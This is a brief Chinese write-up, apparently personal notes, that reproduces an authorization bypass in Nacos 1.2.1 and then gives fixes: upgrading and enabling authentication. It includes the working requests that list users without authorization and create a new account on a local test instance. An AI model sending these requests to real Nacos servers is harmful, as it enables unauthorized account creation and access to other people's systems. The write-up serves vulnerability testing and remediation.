Nacos存在权限绕过漏洞，攻击者利用该漏洞可以未授权访问用户列表（我的Nacos版本为1.2.1）
漏洞复现：
http://127.0.0.1:8849/nacos/v1/auth/users?pageNo=1&pageSize=9
利用漏洞复现问题
http://127.0.0.1:8849/nacos/v1/auth/users?username=test1&password=test1
可以这样创建用户
使用该账号发现可以登录账号
-
漏洞修复：
-
1.将Nacos升级到2.2.0.1或以上版本
-
2.此版本nacos配置文件开启鉴权，（默认是不开启的）nacos.core.auth.enabled=true
-
重新启动Nacos，再次测试：
测试完成，将创建的用户删除：
http://127.0.0.1:8849/nacos/v1/auth/users?username=test1
